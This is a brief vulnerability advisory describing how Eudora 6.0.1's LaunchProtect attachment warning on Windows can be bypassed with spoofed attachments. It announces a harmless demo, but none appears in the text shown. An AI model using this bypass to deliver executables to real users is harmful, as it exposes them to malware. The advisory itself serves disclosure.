Remote exploit for Eudora 6.0.1's (on Windows) LaunchProtect feature, which warns the user before running executable attachments. Unfortunately this only works in the attach folder; using spoofed attachments, executables stored elsewhere may run without warning.

Eudora 6.0.1 (on Windows) has LaunchProtect, to warn the user before
running executable attachments. However this only works in the attach
folder; using spoofed attachments, executables stored elsewhere may run
without warning. In some setups, even executables in the attach folder
may run without warning.

Harmless demo below.
